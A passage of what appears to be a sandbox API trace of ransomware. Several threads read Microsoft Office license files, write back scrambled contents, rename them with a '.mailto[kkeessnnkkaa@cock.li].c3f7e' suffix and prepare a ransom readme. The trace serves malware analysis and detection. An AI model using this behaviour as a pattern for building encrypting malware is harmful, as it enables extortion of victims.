	[0085.788] ReadFile (in: hFile=0x1884, lpBuffer=0x28b3fe44, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x28b3fe40, lpOverlapped=0x0 | out: lpBuffer=0x28b3fe44*, lpNumberOfBytesRead=0x28b3fe40*=0x4, lpOverlapped=0x0) returned 1
	[0085.790] SetFilePointerEx (in: hFile=0x1884, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.790] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781990
	[0085.790] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781a58
	[0085.790] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781918
	[0085.790] NtQuerySystemTime (in: CurrentTime=0x28b3fe20 | out: CurrentTime=0x28b3fe20*=132251868125306842) returned 0x0
	[0085.790] RtlRandom (in: Seed=0x28b3fe2c | out: Seed=0x28b3fe2c) returned 0xb0efd08f
	[0085.790] RtlRandom (in: Seed=0x28b3fe2c | out: Seed=0x28b3fe2c) returned 0x1428f09c
	[0085.790] RtlRandom (in: Seed=0x28b3fe2c | out: Seed=0x28b3fe2c) returned 0xa039350a
	[0085.790] RtlRandom (in: Seed=0x28b3fe2c | out: Seed=0x28b3fe2c) returned 0xc35f4a79
	[0085.790] RtlRandom (in: Seed=0x28b3fe2c | out: Seed=0x28b3fe2c) returned 0x17629112
	[0085.790] RtlRandom (in: Seed=0x28b3fe2c | out: Seed=0x28b3fe2c) returned 0x439892f6
	[0085.790] RtlRandom (in: Seed=0x28b3fe2c | out: Seed=0x28b3fe2c) returned 0xdb50c1a5
	[0085.790] RtlRandom (in: Seed=0x28b3fe2c | out: Seed=0x28b3fe2c) returned 0x710ddb11
	[0085.790] RtlRandom (in: Seed=0x28b3fe2c | out: Seed=0x28b3fe2c) returned 0xfeb9d75
	[0085.790] RtlRandom (in: Seed=0x28b3fe2c | out: Seed=0x28b3fe2c) returned 0x31dc86fc
	[0085.790] RtlRandom (in: Seed=0x28b3fe2c | out: Seed=0x28b3fe2c) returned 0xa117a89d
	[0085.790] RtlRandom (in: Seed=0x28b3fe2c | out: Seed=0x28b3fe2c) returned 0x5aa38941
	[0085.790] RtlRandom (in: Seed=0x28b3fe2c | out: Seed=0x28b3fe2c) returned 0x285b9303
	[0085.790] RtlRandom (in: Seed=0x28b3fe2c | out: Seed=0x28b3fe2c) returned 0x6dac4293
	[0085.790] RtlRandom (in: Seed=0x28b3fe2c | out: Seed=0x28b3fe2c) returned 0xc44e4c0
	[0085.790] RtlRandom (in: Seed=0x28b3fe2c | out: Seed=0x28b3fe2c) returned 0xec3ea0b9
	[0085.790] RtlRandom (in: Seed=0x28b3fe2c | out: Seed=0x28b3fe2c) returned 0xcdd8a87b
	[0085.790] RtlRandom (in: Seed=0x28b3fe2c | out: Seed=0x28b3fe2c) returned 0x3e2cbd6b
	[0085.790] RtlRandom (in: Seed=0x28b3fe2c | out: Seed=0x28b3fe2c) returned 0x990380af
	[0085.790] RtlRandom (in: Seed=0x28b3fe2c | out: Seed=0x28b3fe2c) returned 0x67bb0b4
	[0085.790] RtlRandom (in: Seed=0x28b3fe2c | out: Seed=0x28b3fe2c) returned 0x17d4841e
	[0085.790] RtlRandom (in: Seed=0x28b3fe2c | out: Seed=0x28b3fe2c) returned 0x9a8f1bf5
	[0085.790] RtlRandom (in: Seed=0x28b3fe2c | out: Seed=0x28b3fe2c) returned 0xab717b9f
	[0085.790] RtlRandom (in: Seed=0x28b3fe2c | out: Seed=0x28b3fe2c) returned 0xaf724722
	[0085.790] RtlRandom (in: Seed=0x28b3fe2c | out: Seed=0x28b3fe2c) returned 0xc12ad298
	[0085.790] RtlRandom (in: Seed=0x28b3fe2c | out: Seed=0x28b3fe2c) returned 0xb6f200d0
	[0085.790] RtlRandom (in: Seed=0x28b3fe2c | out: Seed=0x28b3fe2c) returned 0x950a8bfd
	[0085.790] RtlRandom (in: Seed=0x28b3fe2c | out: Seed=0x28b3fe2c) returned 0xcb2a0364
	[0085.790] RtlRandom (in: Seed=0x28b3fe2c | out: Seed=0x28b3fe2c) returned 0xa41a52ab
	[0085.790] RtlRandom (in: Seed=0x28b3fe2c | out: Seed=0x28b3fe2c) returned 0x7f83b882
	[0085.790] RtlRandom (in: Seed=0x28b3fe2c | out: Seed=0x28b3fe2c) returned 0xd0013980
	[0085.790] RtlRandom (in: Seed=0x28b3fe2c | out: Seed=0x28b3fe2c) returned 0xab6fbfa3
	[0085.797] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781a80
	[0085.799] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e042e8
	[0085.799] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781b20
	[0085.799] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e042e8) returned 1
	[0085.799] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781918) returned 1
	[0085.799] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781990) returned 1
	[0085.799] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb348
	[0085.799] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e042e8
	[0085.799] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781918
	[0085.799] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781918) returned 1
	[0085.799] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4f6e790
	[0085.800] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4895858
	[0085.804] ReadFile (in: hFile=0x1884, lpBuffer=0x4f6e790, nNumberOfBytesToRead=0x2d3b, lpNumberOfBytesRead=0x28b3fe1c, lpOverlapped=0x0 | out: lpBuffer=0x4f6e790*, lpNumberOfBytesRead=0x28b3fe1c*=0x2d3b, lpOverlapped=0x0) returned 1
	[0085.805] SetFilePointerEx (in: hFile=0x1884, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.805] WriteFile (in: hFile=0x1884, lpBuffer=0x4895858*, nNumberOfBytesToWrite=0x2d3b, lpNumberOfBytesWritten=0x28b3fe18, lpOverlapped=0x0 | out: lpBuffer=0x4895858*, lpNumberOfBytesWritten=0x28b3fe18*=0x2d3b, lpOverlapped=0x0) returned 1
	[0085.806] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781990
	[0085.806] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781918
	[0085.806] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781918) returned 1
	[0085.806] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4895858) returned 1
	[0085.806] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f6e790) returned 1
	[0085.806] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e042e8) returned 1
	[0085.806] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb348) returned 1
	[0085.806] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x45) returned 0x4776650
	[0085.806] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb348
	[0085.806] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04ae0
	[0085.806] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781918
	[0085.807] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781918) returned 1
	[0085.807] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x45) returned 0x47765b0
	[0085.807] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781918
	[0085.807] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781828
	[0085.807] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781828) returned 1
	[0085.807] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04ae0) returned 1
	[0085.807] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb348) returned 1
	[0085.807] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x129) returned 0x4ebca00
	[0085.807] SetFilePointerEx (in: hFile=0x1884, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.807] WriteFile (in: hFile=0x1884, lpBuffer=0x4ebca00*, nNumberOfBytesToWrite=0x129, lpNumberOfBytesWritten=0x28b3fe80, lpOverlapped=0x0 | out: lpBuffer=0x4ebca00*, lpNumberOfBytesWritten=0x28b3fe80*=0x129, lpOverlapped=0x0) returned 1
	[0085.808] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ebca00) returned 1
	[0085.808] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47765b0) returned 1
	[0085.808] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781918) returned 1
	[0085.808] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4776650) returned 1
	[0085.808] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781990) returned 1
	[0085.808] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781a58) returned 1
	[0085.808] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781a80) returned 1
	[0085.808] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781b20) returned 1
	[0085.808] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe4) returned 0x47ea808
	[0085.809] wcscpy (in: _Dest=0x47ea808, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms"
	[0085.809] wcscat (in: _Dest=0x47ea808, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0085.809] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x28b3fe38, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0085.809] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfa) returned 0x481d3c0
	[0085.809] NtSetInformationFile (FileHandle=0x1884, IoStatusBlock=0x28b3fe30, FileInformation=0x481d3c0, Length=0xfa, FileInformationClass=0xa) returned 0x0
	[0085.810] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481d3c0) returned 1
	[0085.810] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4752ff0) returned 1
	[0085.810] NtQueryInformationFile (in: FileHandle=0x1884, IoStatusBlock=0x28b3fe44, FileInformation=0x28b3fe1c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x28b3fe44, FileInformation=0x28b3fe1c) returned 0x0
	[0085.810] NtSetInformationFile (FileHandle=0x1884, IoStatusBlock=0x28b3fe44, FileInformation=0x28b3fe1c, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0085.811] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ea808) returned 1
	[0085.811] FlushFileBuffers (hFile=0x1884) returned 1
	[0093.077] CloseHandle (hObject=0x1884) returned 1
	[0093.078] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x88) returned 0x476d738
	[0093.078] wcscpy (in: _Dest=0x476d738, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0093.078] wcscat (in: _Dest=0x476d738, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\C3F7E-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\C3F7E-Readme.txt"
	[0093.078] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\C3F7E-Readme.txt" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\c3f7e-readme.txt")) 

Thread:
	id = 1162
	os_tid = 0x1e9c

	[0085.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-phn.xrm-ms")) returned 0x220
	[0085.806] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms", dwFileAttributes=0x20) returned 1
	[0085.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1888
	[0085.811] GetFileSizeEx (in: hFile=0x1888, lpFileSize=0x28bbfb74 | out: lpFileSize=0x28bbfb74*=19924) returned 1
	[0085.811] SetFilePointerEx (in: hFile=0x1888, liDistanceToMove=0x4dd0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.811] ReadFile (in: hFile=0x1888, lpBuffer=0x28bbfaf8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x28bbfaf4, lpOverlapped=0x0 | out: lpBuffer=0x28bbfaf8*, lpNumberOfBytesRead=0x28bbfaf4*=0x4, lpOverlapped=0x0) returned 1
	[0085.813] SetFilePointerEx (in: hFile=0x1888, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.813] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781990
	[0085.813] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781a58
	[0085.813] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781918
	[0085.813] NtQuerySystemTime (in: CurrentTime=0x28bbfad4 | out: CurrentTime=0x28bbfad4*=132251868125465020) returned 0x0
	[0085.813] RtlRandom (in: Seed=0x28bbfae0 | out: Seed=0x28bbfae0) returned 0x6ec2ae9
	[0085.813] RtlRandom (in: Seed=0x28bbfae0 | out: Seed=0x28bbfae0) returned 0xb38cb05f
	[0085.813] RtlRandom (in: Seed=0x28bbfae0 | out: Seed=0x28bbfae0) returned 0xbb1f8d05
	[0085.813] RtlRandom (in: Seed=0x28bbfae0 | out: Seed=0x28bbfae0) returned 0xeae81e29
	[0085.813] RtlRandom (in: Seed=0x28bbfae0 | out: Seed=0x28bbfae0) returned 0xbde63fa0
	[0085.813] RtlRandom (in: Seed=0x28bbfae0 | out: Seed=0x28bbfae0) returned 0x7477c93b
	[0085.813] RtlRandom (in: Seed=0x28bbfae0 | out: Seed=0x28bbfae0) returned 0x4b8f4d3f
	[0085.813] RtlRandom (in: Seed=0x28bbfae0 | out: Seed=0x28bbfae0) returned 0x37d8eb87
	[0085.813] RtlRandom (in: Seed=0x28bbfae0 | out: Seed=0x28bbfae0) returned 0xdcc365a7
	[0085.813] RtlRandom (in: Seed=0x28bbfae0 | out: Seed=0x28bbfae0) returned 0x827feee5
	[0085.813] RtlRandom (in: Seed=0x28bbfae0 | out: Seed=0x28bbfae0) returned 0x18b0d13a
	[0085.813] RtlRandom (in: Seed=0x28bbfae0 | out: Seed=0x28bbfae0) returned 0xa8a8837e
	[0085.813] RtlRandom (in: Seed=0x28bbfae0 | out: Seed=0x28bbfae0) returned 0x2ff13ae2
	[0085.813] RtlRandom (in: Seed=0x28bbfae0 | out: Seed=0x28bbfae0) returned 0x75400f17
	[0085.813] RtlRandom (in: Seed=0x28bbfae0 | out: Seed=0x28bbfae0) returned 0x29fe612b
	[0085.813] RtlRandom (in: Seed=0x28bbfae0 | out: Seed=0x28bbfae0) returned 0xa8a9d051
	[0085.813] RtlRandom (in: Seed=0x28bbfae0 | out: Seed=0x28bbfae0) returned 0xefb3c409
	[0085.813] RtlRandom (in: Seed=0x28bbfae0 | out: Seed=0x28bbfae0) returned 0x19ee853
	[0085.813] RtlRandom (in: Seed=0x28bbfae0 | out: Seed=0x28bbfae0) returned 0x77a599a8
	[0085.813] RtlRandom (in: Seed=0x28bbfae0 | out: Seed=0x28bbfae0) returned 0xcd8198e3
	[0085.813] RtlRandom (in: Seed=0x28bbfae0 | out: Seed=0x28bbfae0) returned 0xdb92b0be
	[0085.813] RtlRandom (in: Seed=0x28bbfae0 | out: Seed=0x28bbfae0) returned 0xed064f2a
	[0085.813] RtlRandom (in: Seed=0x28bbfae0 | out: Seed=0x28bbfae0) returned 0x9f6730dd
	[0085.813] RtlRandom (in: Seed=0x28bbfae0 | out: Seed=0x28bbfae0) returned 0x91f3ba7f
	[0085.813] RtlRandom (in: Seed=0x28bbfae0 | out: Seed=0x28bbfae0) returned 0x83c67723
	[0085.813] RtlRandom (in: Seed=0x28bbfae0 | out: Seed=0x28bbfae0) returned 0x10358ff
	[0085.813] RtlRandom (in: Seed=0x28bbfae0 | out: Seed=0x28bbfae0) returned 0x21d584ac
	[0085.813] RtlRandom (in: Seed=0x28bbfae0 | out: Seed=0x28bbfae0) returned 0xcd3233e0
	[0085.813] RtlRandom (in: Seed=0x28bbfae0 | out: Seed=0x28bbfae0) returned 0x8d09aecd
	[0085.813] RtlRandom (in: Seed=0x28bbfae0 | out: Seed=0x28bbfae0) returned 0xebb04886
	[0085.813] RtlRandom (in: Seed=0x28bbfae0 | out: Seed=0x28bbfae0) returned 0xc7986604
	[0085.813] RtlRandom (in: Seed=0x28bbfae0 | out: Seed=0x28bbfae0) returned 0x5c6aba9d
	[0085.821] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781a80
	[0085.822] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e042e8
	[0085.822] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781b20
	[0085.822] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e042e8) returned 1
	[0085.822] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781918) returned 1
	[0085.822] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781990) returned 1
	[0085.822] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb348
	[0085.822] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e042e8
	[0085.822] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781918
	[0085.822] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781918) returned 1
	[0085.823] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4f6e790
	[0085.823] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4895858
	[0085.823] ReadFile (in: hFile=0x1888, lpBuffer=0x4f6e790, nNumberOfBytesToRead=0x4dd4, lpNumberOfBytesRead=0x28bbfad0, lpOverlapped=0x0 | out: lpBuffer=0x4f6e790*, lpNumberOfBytesRead=0x28bbfad0*=0x4dd4, lpOverlapped=0x0) returned 1
	[0085.824] SetFilePointerEx (in: hFile=0x1888, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.824] WriteFile (in: hFile=0x1888, lpBuffer=0x4895858*, nNumberOfBytesToWrite=0x4dd4, lpNumberOfBytesWritten=0x28bbfacc, lpOverlapped=0x0 | out: lpBuffer=0x4895858*, lpNumberOfBytesWritten=0x28bbfacc*=0x4dd4, lpOverlapped=0x0) returned 1
	[0085.827] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781990
	[0085.827] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781918
	[0085.827] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781918) returned 1
	[0085.827] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4895858) returned 1
	[0085.827] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f6e790) returned 1
	[0085.827] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e042e8) returned 1
	[0085.827] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb348) returned 1
	[0085.827] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x45) returned 0x4776650
	[0085.827] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb348
	[0085.827] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04ae0
	[0085.827] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781918
	[0085.827] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781918) returned 1
	[0085.827] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x45) returned 0x47765b0
	[0085.828] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781918
	[0085.828] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781828
	[0085.828] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781828) returned 1
	[0085.828] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04ae0) returned 1
	[0085.828] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb348) returned 1
	[0085.828] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x129) returned 0x4ebca00
	[0085.828] SetFilePointerEx (in: hFile=0x1888, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.828] WriteFile (in: hFile=0x1888, lpBuffer=0x4ebca00*, nNumberOfBytesToWrite=0x129, lpNumberOfBytesWritten=0x28bbfb34, lpOverlapped=0x0 | out: lpBuffer=0x4ebca00*, lpNumberOfBytesWritten=0x28bbfb34*=0x129, lpOverlapped=0x0) returned 1
	[0085.846] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ebca00) returned 1
	[0085.846] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47765b0) returned 1
	[0085.846] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781918) returned 1
	[0085.847] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4776650) returned 1
	[0085.847] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781990) returned 1
	[0085.847] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781a58) returned 1
	[0085.847] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781a80) returned 1
	[0085.847] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781b20) returned 1
	[0085.847] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe4) returned 0x47ea808
	[0085.847] wcscpy (in: _Dest=0x47ea808, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms"
	[0085.847] wcscat (in: _Dest=0x47ea808, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0085.847] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x28bbfaec, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0085.847] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfa) returned 0x481d3c0
	[0085.847] NtSetInformationFile (FileHandle=0x1888, IoStatusBlock=0x28bbfae4, FileInformation=0x481d3c0, Length=0xfa, FileInformationClass=0xa) returned 0x0
	[0085.850] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481d3c0) returned 1
	[0085.850] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4752ff0) returned 1
	[0085.850] NtQueryInformationFile (in: FileHandle=0x1888, IoStatusBlock=0x28bbfaf8, FileInformation=0x28bbfad0, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x28bbfaf8, FileInformation=0x28bbfad0) returned 0x0
	[0085.850] NtSetInformationFile (FileHandle=0x1888, IoStatusBlock=0x28bbfaf8, FileInformation=0x28bbfad0, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0085.851] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ea808) returned 1
	[0085.851] FlushFileBuffers (hFile=0x1888) returned 1
	[0093.078] CloseHandle (hObject=0x1888) returned 1
	[0093.080] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x88) returned 0x476d7c8
	[0093.080] wcscpy (in: _Dest=0x476d7c8, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0093.080] wcscat (in: _Dest=0x476d7c8, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\C3F7E-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\C3F7E-Readme.txt"
	[0093.080] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\C3F7E-Readme.txt" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\c3f7e-readme.txt")) 

Thread:
	id = 1163
	os_tid = 0x1ea0

	[0085.824] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-pl.xrm-ms")) returned 0x220
	[0085.826] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms", dwFileAttributes=0x20) returned 1
